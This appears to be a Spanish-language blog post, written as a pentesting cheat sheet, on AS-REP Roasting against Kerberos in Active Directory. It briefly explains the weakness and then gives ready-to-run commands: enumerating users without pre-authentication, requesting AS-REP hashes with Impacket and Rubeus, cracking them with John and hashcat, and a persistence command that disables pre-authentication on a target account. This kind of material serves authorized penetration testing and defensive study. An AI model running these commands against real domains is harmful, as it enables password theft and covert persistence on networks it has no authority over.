Por supuesto, no se recomienda habilitar esto porque sin autenticación previa un atacante puede enviar directamente una solicitud ficticia de autenticación sin conocer las credenciales (mensaje KRB_AS_REQ). El KDC devolverá un TGT cifrado y el atacante puede hacerle fuerza bruta de forma offline. Al verificar los logs del KDC, no se verá nada excepto una única solicitud de TGT.
Además, no se necesita una cuenta de dominio para realizar este ataque, solo una conexión al DC. No obstante con una cuenta de dominio se puede realizar una consulta LDAP para ver usuarios tienen marcado ésto. Por ej. con PowerView:
Get-DomainUser -PreauthNotRequired -verbose
Petición AS_REP
Linux
Probando una lista de usuarios en usernames.txt:
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
Usando credenciales de dominio para extraer y usar los objetivos:
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
Windows
Rubeus:
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
ASREPRoast.ps1:
Get-ASREPHash -Username VPN114user -verbose
Cracking
John the Ripper:
john --wordlist=passwords_kerb.txt hashes.asreproast
Hashcat:
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistencia
Forzar la pre-autenticación no requerida para un usuario en el que tienes permisos GenericAll (o permisos para escribir en sus propiedades):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Fuentes:
El ASREPRoast es una técnica parecida a Kerberoasting que intenta crackear offline las contraseñas de los usuarios de servicio pero las de los que tienen el atributo DONT_REQ_PREAUTH, es decir, los que no se les requiere pre-autenticación en kerberos.
Comentarios
Publicar un comentario